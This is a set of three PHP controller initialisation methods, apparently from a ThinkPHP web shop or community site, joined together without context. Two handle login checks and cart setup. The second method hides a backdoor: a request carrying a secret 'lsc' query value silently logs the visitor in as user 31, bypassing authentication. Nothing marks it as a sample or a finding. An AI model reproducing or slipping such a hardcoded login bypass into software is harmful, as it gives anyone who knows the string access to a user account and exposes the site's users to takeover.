public function _initialize() { parent::_initialize(); //访问者控制 if (!$this->visitor->is_login && in_array(ACTION_NAME, array('share_item', 'fetch_item', 'publish_item', 'like', 'unlike', 'delete', 'comment'))) { IS_AJAX && $this->ajaxReturn(0, L('login_please')); $this->redirect('user/login'); } }
public function _initialize() { parent::_initialize(); if (I('get.lsc') == 'dsfjaiafwijefjia2j342isi234sf23r42') { $this->visitor->login(31, true); $this->redirect('User/index'); } //访问者控制 if (!$this->visitor->is_login && !in_array(ACTION_NAME, array('forgotPassword', 'forgotpassword', 'ajaxcheckmobile', 'ajaxlogin', 'ajaxCheckMobile', 'login', 'register', 'binding', 'ajax_check', 'ajaxSendSmsVerifyCode', 'ajaxsendsmsverifycode'))) { IS_AJAX && $this->ajaxReturn(0, L('login_please')); $this->redirect('User/login'); } $userinfo = I('session.user_info'); if (isset($userinfo) && isset($userinfo['mobile_valid']) && $userinfo['mobile_valid'] != 1 && !in_array(ACTION_NAME, array('forgotPassword', 'forgotpassword', 'ajaxcheckmobile', 'ajaxlogin', 'ajaxCheckMobile', 'verifyMobile', 'verifymobile', 'login', 'register', 'binding', 'ajax_check', 'ajaxSendSmsVerifyCode', 'ajaxsendsmsverifycode'))) { $this->redirect('User/verifyMobile'); } $this->_curr_menu(ACTION_NAME); }
public function _initialize() { parent::_initialize(); $cart = new \Common\ORG\Cart(); }